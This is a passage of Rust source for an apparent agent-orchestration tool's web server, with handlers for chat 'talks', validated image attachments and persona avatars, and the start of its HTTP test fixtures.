7151 let ui = Arc::clone(&ui);
7152 let id = id.clone();
7153 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7154 };
7155 let cfg = config_for(&repo).await?;
7156 {
7158 let ui = Arc::clone(&ui);
7159 let id = id.clone();
7160 let cfg = cfg.clone();
7161 let wanted = body.agent.clone();
7162 blocking(move || {
7163 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7164 .map_err(ApiError::bad_request_from)?;
7165 refuse_if_closed(&ui.talks.get(&id)?)
7166 })
7167 .await?;
7168 }
7169 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7170 return Err(ApiError::conflict(
7171 "a talk turn is running; change the agent once it has answered",
7172 ));
7173 };
7174 let switched = {
7175 let ui = Arc::clone(&ui);
7176 let id = id.clone();
7177 let cfg = cfg.clone();
7178 blocking(move || {
7179 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7180 .map_err(ApiError::bad_request_from)?;
7181 let mut talk = ui.talks.get(&id)?;
7182 if !talk.status.open() {
7183 return Err(ApiError::conflict(format!(
7184 "talk {} is {} and takes no more turns",
7185 talk.short(),
7186 talk.status.as_str()
7187 )));
7188 }
7189 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7190 Ok(talk)
7191 })
7192 .await
7193 };
7194 let fresh = {
7199 let ui = Arc::clone(&ui);
7200 let id = id.clone();
7201 blocking(move || Ok(ui.talks.get(&id)?)).await
7202 };
7203 let draining = match fresh {
7204 Ok(talk) => {
7205 let draining = talk.status.open()
7206 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7207 let talks = ui.talks.clone();
7208 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7209 draining
7210 }
7211 Err(_) => false,
7212 };
7213 let talk = switched?;
7214 Ok(Json(TalkView::new(talk, draining)))
7215}
7216
7217#[derive(Debug, Deserialize)]
7219struct TalkPersona {
7220 persona: String,
7221}
7222
7223async fn talk_persona(
7227 State(ui): State<Arc<Ui>>,
7228 Path(id): Path<String>,
7229 Json(body): Json<TalkPersona>,
7230) -> ApiResult<Json<TalkView>> {
7231 let id = {
7232 let ui = Arc::clone(&ui);
7233 blocking(move || resolve_talk(&ui.talks, &id)).await?
7234 };
7235 let repo = {
7236 let ui = Arc::clone(&ui);
7237 let id = id.clone();
7238 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7239 };
7240 let cfg = config_for(&repo).await?;
7241 {
7243 let ui = Arc::clone(&ui);
7244 let id = id.clone();
7245 let cfg = cfg.clone();
7246 let wanted = body.persona.clone();
7247 blocking(move || {
7248 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7249 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7250 }
7251 refuse_if_closed(&ui.talks.get(&id)?)
7252 })
7253 .await?;
7254 }
7255 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7256 return Err(ApiError::conflict(
7257 "a talk turn is running; change the persona once it has answered",
7258 ));
7259 };
7260 let switched = {
7261 let ui = Arc::clone(&ui);
7262 let id = id.clone();
7263 let cfg = cfg.clone();
7264 blocking(move || {
7265 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7266 return Err(ApiError::bad_request(format!(
7267 "unknown persona `{}`",
7268 body.persona
7269 )));
7270 };
7271 let mut talk = ui.talks.get(&id)?;
7272 if !talk.status.open() {
7273 return Err(ApiError::conflict(format!(
7274 "talk {} is {} and takes no more turns",
7275 talk.short(),
7276 talk.status.as_str()
7277 )));
7278 }
7279 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7280 Ok(talk)
7281 })
7282 .await
7283 };
7284 let fresh = {
7286 let ui = Arc::clone(&ui);
7287 let id = id.clone();
7288 blocking(move || Ok(ui.talks.get(&id)?)).await
7289 };
7290 let draining = match fresh {
7291 Ok(talk) => {
7292 let draining = talk.status.open()
7293 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7294 let talks = ui.talks.clone();
7295 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7296 draining
7297 }
7298 Err(_) => false,
7299 };
7300 let talk = switched?;
7301 Ok(Json(TalkView::new(talk, draining)))
7302}
7303
7304#[derive(Debug, Deserialize)]
7306struct TalkImplementers {
7307 implementers: u8,
7308}
7309
7310async fn talk_implementers(
7314 State(ui): State<Arc<Ui>>,
7315 Path(id): Path<String>,
7316 Json(body): Json<TalkImplementers>,
7317) -> ApiResult<Json<TalkView>> {
7318 let id = {
7319 let ui = Arc::clone(&ui);
7320 blocking(move || resolve_talk(&ui.talks, &id)).await?
7321 };
7322 let repo = {
7323 let ui = Arc::clone(&ui);
7324 let id = id.clone();
7325 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7326 };
7327 let cfg = config_for(&repo).await?;
7328 {
7333 let ui = Arc::clone(&ui);
7334 let id = id.clone();
7335 let cfg = cfg.clone();
7336 let wanted = body.implementers;
7337 blocking(move || {
7338 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7339 refuse_if_closed(&ui.talks.get(&id)?)
7340 })
7341 .await?;
7342 }
7343 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7344 return Err(ApiError::conflict(
7345 "a talk turn is running; change the implementers once it has answered",
7346 ));
7347 };
7348 let switched = {
7349 let ui = Arc::clone(&ui);
7350 let id = id.clone();
7351 let cfg = cfg.clone();
7352 blocking(move || {
7353 let chosen =
7354 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7355 let mut talk = ui.talks.get(&id)?;
7356 if !talk.status.open() {
7357 return Err(ApiError::conflict(format!(
7358 "talk {} is {} and takes no more turns",
7359 talk.short(),
7360 talk.status.as_str()
7361 )));
7362 }
7363 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7364 Ok(talk)
7365 })
7366 .await
7367 };
7368 let fresh = {
7370 let ui = Arc::clone(&ui);
7371 let id = id.clone();
7372 blocking(move || Ok(ui.talks.get(&id)?)).await
7373 };
7374 let draining = match fresh {
7375 Ok(talk) => {
7376 let draining = talk.status.open()
7377 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7378 let talks = ui.talks.clone();
7379 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7380 draining
7381 }
7382 Err(_) => false,
7383 };
7384 let talk = switched?;
7385 Ok(Json(TalkView::new(talk, draining)))
7386}
7387
7388async fn talk_close(
7390 State(ui): State<Arc<Ui>>,
7391 Path(id): Path<String>,
7392) -> ApiResult<Json<TalkView>> {
7393 blocking(move || {
7394 let id = resolve_talk(&ui.talks, &id)?;
7395 let mut talk = ui.talks.get(&id)?;
7396 talk::close(&mut talk, &ui.talks)?;
7397 let thinking = ui.is_thinking(&talk.id);
7398 Ok(Json(TalkView::new(talk, thinking)))
7399 })
7400 .await
7401}
7402
7403async fn talk_reopen(
7405 State(ui): State<Arc<Ui>>,
7406 Path(id): Path<String>,
7407) -> ApiResult<Json<TalkView>> {
7408 blocking(move || {
7409 let id = resolve_talk(&ui.talks, &id)?;
7410 let mut talk = ui.talks.get(&id)?;
7411 talk::reopen(&mut talk, &ui.talks)?;
7412 let thinking = ui.is_thinking(&talk.id);
7413 Ok(Json(TalkView::new(talk, thinking)))
7414 })
7415 .await
7416}
7417
7418async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7428 blocking(move || {
7429 let id = resolve_talk(&ui.talks, &id)?;
7430 ui.talks.remove(&id)?;
7431 Ok(StatusCode::NO_CONTENT)
7432 })
7433 .await
7434}
7435
7436fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7438 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7439}
7440
7441async fn talk_attachment_post(
7444 State(ui): State<Arc<Ui>>,
7445 Path(id): Path<String>,
7446 headers: HeaderMap,
7447 body: Bytes,
7448) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7449 let mime = validate_attachment(&headers, &body)?;
7450 let name = filename_header(&headers);
7451 let data = body.to_vec();
7452 blocking(move || {
7453 let id = resolve_talk(&ui.talks, &id)?;
7454 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7455 Ok((StatusCode::CREATED, Json(att)))
7456 })
7457 .await
7458}
7459
7460async fn talk_attachment_get(
7463 State(ui): State<Arc<Ui>>,
7464 Path((id, att)): Path<(String, String)>,
7465) -> ApiResult<Response> {
7466 blocking(move || {
7467 let id = resolve_talk(&ui.talks, &id)?;
7468 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7469 return Err(ApiError::not_found(format!(
7470 "talk {id} has no attachment `{att}`"
7471 )));
7472 };
7473 Ok(attachment_response(&meta.mime, data))
7474 })
7475 .await
7476}
7477
7478fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7481 let mut id = String::new();
7482 for b in p.id.bytes() {
7483 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7484 id.push(char::from(b));
7485 } else {
7486 id.push_str(&format!("%{b:02X}"));
7487 }
7488 }
7489 format!(
7490 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7491 persona_icon::fingerprint(p.icon.as_deref())
7492 )
7493}
7494
7495#[derive(Debug, Default, Deserialize)]
7496struct AvatarQuery {
7497 persona: Option<String>,
7498 builtin: Option<String>,
7500}
7501
7502const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7504
7505fn builtin_avatar(id: &str) -> Response {
7506 (
7507 [
7508 (header::CONTENT_TYPE, "image/svg+xml"),
7509 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7510 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7511 (header::CACHE_CONTROL, "no-cache"),
7512 ],
7513 persona_icon::builtin_svg(id),
7514 )
7515 .into_response()
7516}
7517
7518async fn talk_avatar(
7523 State(ui): State<Arc<Ui>>,
7524 Path(id): Path<String>,
7525 Query(q): Query<AvatarQuery>,
7526) -> ApiResult<Response> {
7527 blocking(move || {
7528 let id = resolve_talk(&ui.talks, &id)?;
7529 let talk = ui.talks.get(&id)?;
7530 let wanted = q
7531 .persona
7532 .as_deref()
7533 .map(str::trim)
7534 .filter(|p| !p.is_empty())
7535 .unwrap_or(&talk.persona)
7536 .to_owned();
7537 let specs = match Config::discover(&talk.repo, None) {
7538 Ok((cfg, _)) => cfg.talk.personas,
7539 Err(e) => {
7540 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7541 Vec::new()
7542 }
7543 };
7544 let Some(found) = persona::find(&specs, &wanted) else {
7545 return Ok(builtin_avatar(persona::DEFAULT_ID));
7546 };
7547 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7548 return Ok(builtin_avatar(&found.id));
7549 };
7550 match persona_icon::load(icon) {
7551 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7552 let mut res = attachment_response(mime, bytes);
7553 res.headers_mut().insert(
7554 header::CACHE_CONTROL,
7555 header::HeaderValue::from_static("no-cache"),
7556 );
7557 Ok(res)
7558 }
7559 Ok((mime, _)) => {
7560 tracing::warn!(
7561 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7562 found.id
7563 );
7564 Ok(builtin_avatar(&found.id))
7565 }
7566 Err(e) => {
7567 tracing::warn!(
7568 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7569 found.id
7570 );
7571 Ok(builtin_avatar(&found.id))
7572 }
7573 }
7574 })
7575 .await
7576}
7577
7578fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7589 if data.len() > ATTACHMENT_MAX_BYTES {
7590 return Err(ApiError::bad_request(format!(
7591 "attachment is {} bytes, over the {} MiB limit",
7592 data.len(),
7593 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7594 ))
7595 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7596 }
7597 if data.is_empty() {
7598 return Err(ApiError::bad_request("attachment is empty"));
7599 }
7600 let declared = declared_mime(headers)?;
7601 match sniffed_mime(data) {
7602 Some(sniffed) if sniffed == declared => Ok(declared),
7603 Some(sniffed) => Err(ApiError::bad_request(format!(
7604 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7605 ))),
7606 None => Err(ApiError::bad_request(
7607 "the file's bytes do not match any accepted image format",
7608 )),
7609 }
7610}
7611
7612fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7616 let raw = headers
7617 .get(header::CONTENT_TYPE)
7618 .and_then(|v| v.to_str().ok())
7619 .unwrap_or("")
7620 .split(';')
7621 .next()
7622 .unwrap_or("")
7623 .trim()
7624 .to_ascii_lowercase();
7625 ATTACHMENT_MIME_WHITELIST
7626 .iter()
7627 .find(|&&m| m == raw)
7628 .copied()
7629 .ok_or_else(|| {
7630 if raw == "image/svg+xml" {
7631 ApiError::bad_request(
7632 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7633 not just a picture",
7634 )
7635 } else if raw.is_empty() {
7636 ApiError::bad_request("Content-Type is required for an attachment upload")
7637 } else {
7638 ApiError::bad_request(format!(
7639 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7640 image/gif or image/webp"
7641 ))
7642 }
7643 })
7644}
7645
7646fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7649 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7650 Some("image/png")
7651 } else if data.starts_with(b"\xff\xd8\xff") {
7652 Some("image/jpeg")
7653 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7654 Some("image/gif")
7655 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7656 Some("image/webp")
7657 } else {
7658 None
7659 }
7660}
7661
7662fn filename_header(headers: &HeaderMap) -> String {
7668 headers
7669 .get(FILENAME_HEADER)
7670 .and_then(|v| v.to_str().ok())
7671 .map(str::trim)
7672 .filter(|s| !s.is_empty())
7673 .unwrap_or("attachment")
7674 .to_owned()
7675}
7676
7677fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7684 let content_type = ATTACHMENT_MIME_WHITELIST
7685 .iter()
7686 .find(|&&m| m == mime)
7687 .copied()
7688 .unwrap_or("application/octet-stream");
7689 (
7690 [
7691 (header::CONTENT_TYPE, content_type),
7692 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7693 ],
7694 body,
7695 )
7696 .into_response()
7697}
7698
7699async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7707 let repo = repo.to_path_buf();
7708 blocking(move || {
7709 let (cfg, _) = Config::discover(&repo, None)?;
7710 Ok(cfg)
7711 })
7712 .await
7713}
7714
7715fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7721 let mut hits = ids
7722 .into_iter()
7723 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7724 match (hits.next(), hits.next()) {
7725 (Some(one), None) => Ok(one),
7726 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7727 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7728 "`{prefix}` matches more than one {what}, including {a} and {b}"
7729 ))),
7730 }
7731}
7732
7733#[cfg(test)]
7734mod tests {
7735
7736 #[test]
7737 fn holder_reads_the_lease_not_the_record() {
7738 let mut q = Question::new(
7739 "run".to_owned(),
7740 "implement".to_owned(),
7741 "impl-A".to_owned(),
7742 "which?".to_owned(),
7743 String::new(),
7744 Vec::new(),
7745 );
7746 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7747 q.cwd = Some("/tmp".to_owned());
7748 assert_eq!(holder_of(&q, None), Some("nobody"));
7749 let beat = |kind, ago: i64| ask::Lease {
7750 kind,
7751 pid: 1,
7752 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7753 .unwrap(),
7754 };
7755 let fresh = beat(ask::WaiterKind::Asker, 1);
7756 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7757 let daemon = beat(ask::WaiterKind::Daemon, 1);
7758 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7759 let stale = beat(ask::WaiterKind::Asker, 3600);
7760 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7761
7762 let mut c = Question::new(
7765 "task".to_owned(),
7766 crate::conduct::NODE.to_owned(),
7767 "conduct".to_owned(),
7768 "which?".to_owned(),
7769 String::new(),
7770 Vec::new(),
7771 );
7772 assert_eq!(holder_of(&c, None), Some("nobody"));
7773 c.cwd = Some("/tmp".to_owned());
7774 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7775 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7776 let deputy = beat(ask::WaiterKind::Deputy, 1);
7777 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7778 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7779
7780 let mut r = Question::new(
7782 String::new(),
7783 crate::bump::NOTICE_NODE.to_owned(),
7784 "release-watch".to_owned(),
7785 "stuck?".to_owned(),
7786 String::new(),
7787 vec!["hold".to_owned()],
7788 );
7789 assert_eq!(holder_of(&r, None), Some("nobody"));
7790 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7791 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7792 r.deputy = None;
7794 r.seat = "bump".to_owned();
7795 assert_eq!(holder_of(&r, None), None);
7796
7797 let mut m = Question::new(
7800 "run".to_owned(),
7801 crate::land::APPROVAL_NODE.to_owned(),
7802 "land".to_owned(),
7803 "merge?".to_owned(),
7804 String::new(),
7805 Vec::new(),
7806 );
7807 assert_eq!(holder_of(&m, None), Some("nobody"));
7808 assert_eq!(
7809 holder_of(&m, Some(&fresh)),
7810 Some("nobody"),
7811 "a lease with no deputy is not a listener"
7812 );
7813 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7814 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7815 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7816 assert_eq!(holder_of(&m, None), Some("nobody"));
7817 }
7818
7819 fn stub_config() -> Config {
7820 Config {
7823 agents: vec![crate::config::AgentSpec {
7824 id: "stub".to_owned(),
7825 kind: AgentKind::Command,
7826 model: None,
7827 command: vec!["true".to_owned()],
7828 extra_args: Vec::new(),
7829 env: Default::default(),
7830 prompt_delivery: None,
7831 }],
7832 ..Config::default()
7833 }
7834 }
7835
7836 fn plain_question(seat: &str) -> Question {
7837 Question::new(
7838 String::new(),
7839 "n".to_owned(),
7840 seat.to_owned(),
7841 "s".to_owned(),
7842 String::new(),
7843 Vec::new(),
7844 )
7845 }
7846
7847 #[test]
7848 fn deputies_enabled_follows_the_config() {
7849 let on = stub_config();
7850 assert!(crate::deputy::can_start(Some(&on), ""));
7851 assert!(crate::deputy::can_start(Some(&on), "stub"));
7852 let mut off = on.clone();
7853 off.daemon.max_deputies = 0;
7854 assert!(!crate::deputy::can_start(Some(&off), ""));
7855 let mut empty = on;
7856 empty.agents.clear();
7857 assert!(!crate::deputy::can_start(Some(&empty), ""));
7858 assert!(!crate::deputy::can_start(None, ""));
7859 }
7860
7861 #[test]
7862 fn question_views_load_the_config_once() {
7863 let dir = TempDir::new().unwrap();
7864 let store = ask::Questions::at(dir.path().to_path_buf());
7865 let mut with_deputy = plain_question("b");
7866 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7867 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7868
7869 let calls = std::cell::Cell::new(0usize);
7870 let views = question_views(qs.clone(), &store, || {
7871 calls.set(calls.get() + 1);
7872 Some(stub_config())
7873 });
7874 assert_eq!(calls.get(), 1);
7875 assert_eq!(views.len(), 3);
7876 for (v, q) in views.iter().zip(&qs) {
7877 assert_eq!(
7878 v.deputies_enabled,
7879 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7880 );
7881 }
7882
7883 let views = question_views(qs, &store, || None);
7884 assert!(views.iter().all(|v| !v.deputies_enabled));
7885
7886 let calls = std::cell::Cell::new(0usize);
7887 let views = question_views(Vec::new(), &store, || {
7888 calls.set(calls.get() + 1);
7889 None
7890 });
7891 assert!(views.is_empty());
7892 assert_eq!(calls.get(), 0);
7893 }
7894
7895 use pretty_assertions::assert_eq;
7896 use serde_json::Value;
7897 use tempfile::TempDir;
7898 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7899
7900 use super::*;
7901 use crate::config::Config;
7902 use crate::queue::Source;
7903
7904 const SETTLE_STEPS: usize = 3_000;
7915
7916 struct Fixture {
7922 home: TempDir,
7923 addr: SocketAddr,
7924 }
7925
7926 impl Fixture {
7927 async fn start() -> Self {
7928 Self::with_loop(launch_idle).await
7929 }
7930
7931 async fn with_loop(launch: Launch) -> Self {
7933 let home = TempDir::new().expect("temp home");
7934 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7935 Self { home, addr }
7936 }
7937
7938 async fn with_repo(repo: PathBuf) -> Self {
7942 let home = TempDir::new().expect("temp home");
7943 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7944 Self { home, addr }
7945 }
7946
7947 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7950 let home = TempDir::new().expect("temp home");
7951 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7952 Self { home, addr }
7953 }
7954
7955 async fn serve(
7956 home: &FsPath,
7957 repo: PathBuf,
7958 launch: Launch,
7959 machine: Option<PathBuf>,
7960 ) -> SocketAddr {
7961 let queue = Queue::at(home.join("queue"));
7962 let runs = home.join("runs");
7963 std::fs::create_dir_all(&runs).expect("runs dir");
7964 let worktrees = home.join("wt").join("magi");
7965 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7966 let ui = Ui::new(
7967 queue,
7968 Questions::at(home.join("questions")),
7969 Talks::at(home.join("talks")),
7970 runs,
7971 home.to_path_buf(),
7972 repo,
7973 )
7974 .with_worktrees_root(worktrees)
7975 .with_machine_config(machine)
7976 .with_launch(launch);
7977 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7978 .await
7979 .expect("bind loopback");
7980 let addr = listener.local_addr().expect("local addr");
7981 tokio::spawn(async move {
7982 let _ = axum::serve(listener, ui.router()).await;
7983 });
7984 addr
7985 }
7986
7987 fn queue(&self) -> Queue {
7988 Queue::at(self.home.path().join("queue"))
7989 }
7990
7991 fn questions(&self) -> Questions {
7992 Questions::at(self.home.path().join("questions"))
7993 }
7994
7995 fn talks(&self) -> Talks {
7996 Talks::at(self.home.path().join("talks"))
7997 }
7998
7999 fn runs(&self) -> PathBuf {
8000 self.home.path().join("runs")
8001 }
8002
8003 async fn get(&self, path: &str) -> Res {
8004 request(self.addr, "GET", path, None).await
8005 }
8006
8007 async fn head(&self, path: &str) -> Res {
8012 request(self.addr, "HEAD", path, None).await
8013 }
8014
8015 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8016 request(self.addr, "POST", path, body).await
8017 }
8018
8019 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8020 request_with(self.addr, "GET", path, None, extra).await
8021 }
8022
8023 async fn delete(&self, path: &str) -> Res {
8024 request(self.addr, "DELETE", path, None).await
8025 }
8026
8027 async fn put(&self, path: &str, body: &str) -> Res {
8028 request(self.addr, "PUT", path, Some(body)).await
8029 }
8030
8031 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8033 request_bytes(self.addr, path, headers, body).await
8034 }
8035 }
8036
8037 struct Res {
8038 status: u16,
8039 headers: String,
8040 head: String,
8045 body: String,
8046 bytes: Vec<u8>,
8050 }
8051
8052 impl Res {
8053 fn json(&self) -> Value {
8054 serde_json::from_str(&self.body)
8055 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8056 }
8057
8058 fn header(&self, name: &str) -> Option<&str> {
8060 self.head.lines().find_map(|line| {
8061 let (key, value) = line.split_once(':')?;
8062 key.trim()
8063 .eq_ignore_ascii_case(name)
8064 .then(|| value.trim_start().trim_end_matches('\r'))
8065 })
8066 }
8067 }
8068
8069 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8072 request_with(addr, method, path, body, &[]).await
8073 }
8074
8075 async fn request_with(
8079 addr: SocketAddr,
8080 method: &str,
8081 path: &str,
8082 body: Option<&str>,
8083 extra: &[(&str, &str)],
8084 ) -> Res {
8085 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8086 for (name, value) in extra {
8087 head.push_str(&format!("{name}: {value}\r\n"));
8088 }
8089 if let Some(body) = body {
8090 head.push_str("Content-Type: application/json\r\n");
8091 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8092 }
8093 head.push_str("\r\n");
8094 if let Some(body) = body {
8095 head.push_str(body);
8096 }
8097 let mut socket = tokio::net::TcpStream::connect(addr)
8098 .await
8099 .expect("connect to the test server");
8100 socket
8101 .write_all(head.as_bytes())
8102 .await
8103 .expect("write request");
8104 let mut raw = Vec::new();
8105 socket.read_to_end(&mut raw).await.expect("read response");
8106 let split = raw
8109 .windows(4)
8110 .position(|w| w == b"\r\n\r\n")
8111 .expect("a header block");
8112 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8113 let bytes = raw[split + 4..].to_vec();
8114 let status = head
8115 .lines()
8116 .next()
8117 .and_then(|line| line.split_whitespace().nth(1))
8118 .and_then(|code| code.parse().ok())
8119 .expect("a status line");
8120 Res {
8121 status,
8122 headers: head.to_lowercase(),
8123 head,
8124 body: String::from_utf8_lossy(&bytes).into_owned(),
8125 bytes,
8126 }
8127 }
8128
8129 async fn request_bytes(
8135 addr: SocketAddr,
8136 path: &str,
8137 headers: &[(&str, &str)],
8138 body: &[u8],
8139 ) -> Res {
8140 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8141 for (name, value) in headers {
8142 head.push_str(&format!("{name}: {value}\r\n"));
8143 }
8144 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8145 let mut socket = tokio::net::TcpStream::connect(addr)
8146 .await
8147 .expect("connect to the test server");
8148 socket
8149 .write_all(head.as_bytes())
8150 .await
8151 .expect("write request head");
8152 socket.write_all(body).await.expect("write request body");
8153 let mut raw = Vec::new();
8154 socket.read_to_end(&mut raw).await.expect("read response");
8155 let split = raw
8156 .windows(4)
8157 .position(|w| w == b"\r\n\r\n")
8158 .expect("a header block");
8159 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8160 let bytes = raw[split + 4..].to_vec();
8161 let status = head
8162 .lines()
8163 .next()
8164 .and_then(|line| line.split_whitespace().nth(1))
8165 .and_then(|code| code.parse().ok())
8166 .expect("a status line");
8167 Res {
8168 status,
8169 headers: head.to_lowercase(),
8170 head,
8171 body: String::from_utf8_lossy(&bytes).into_owned(),
8172 bytes,
8173 }
8174 }
8175
8176 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8178 let mut state = RunState::new(
8179 PathBuf::from("/repo/magi"),
8180 "main".to_owned(),
8181 "0123456789abcdef".to_owned(),
8182 "Add a web UI\n\nMobile first.".to_owned(),
8183 Config::default(),
8184 );
8185 state.id = id.to_owned();
8186 state.status = status;
8187 let dir = runs.join(id);
8188 std::fs::create_dir_all(&dir).expect("run dir");
8189 std::fs::write(
8190 dir.join("run.json"),
8191 serde_json::to_string_pretty(&state).expect("serialize run"),
8192 )
8193 .expect("write run.json");
8194 }
8195
8196 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8200 let mut state = RunState::new(
8201 PathBuf::from(repo),
8202 "main".to_owned(),
8203 "0123456789abcdef".to_owned(),
8204 "task".to_owned(),
8205 Config::default(),
8206 );
8207 state.id = id.to_owned();
8208 state.status = status;
8209 let dir = runs.join(id);
8210 std::fs::create_dir_all(&dir).expect("run dir");
8211 std::fs::write(
8212 dir.join("run.json"),
8213 serde_json::to_string_pretty(&state).expect("serialize run"),
8214 )
8215 .expect("write run.json");
8216 }
8217
8218 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8219 let body = serde_json::json!({
8220 "schema": 1,
8221 "pid": 4242,
8222 "started_at": Timestamp::now().to_string(),
8223 "updated_at": updated_at.to_string(),
8224 "idle": false,
8225 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8226 "completed": 7,
8227 "polls": 143,
8228 });
8229 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8230 }
8231
8232 fn launch_idle(
8242 _opts: daemon::Opts,
8243 stop: daemon::Stop,
8244 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8245 Box::pin(async move {
8246 while !stop.stopped() {
8247 tokio::time::sleep(Duration::from_millis(2)).await;
8248 }
8249 Ok(())
8250 })
8251 }
8252
8253 fn launch_broken(
8256 _opts: daemon::Opts,
8257 _stop: daemon::Stop,
8258 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8259 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8264 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8265 Box::pin(async move {
8266 Err(anyhow::anyhow!(if first {
8267 "publish the daemon status file: read-only file system"
8268 } else {
8269 "the restarted stand-in failed as well"
8270 }))
8271 })
8272 }
8273
8274 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8281 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8282
8283 fn launch_knocking_on_the_way_out(
8290 _opts: daemon::Opts,
8291 stop: daemon::Stop,
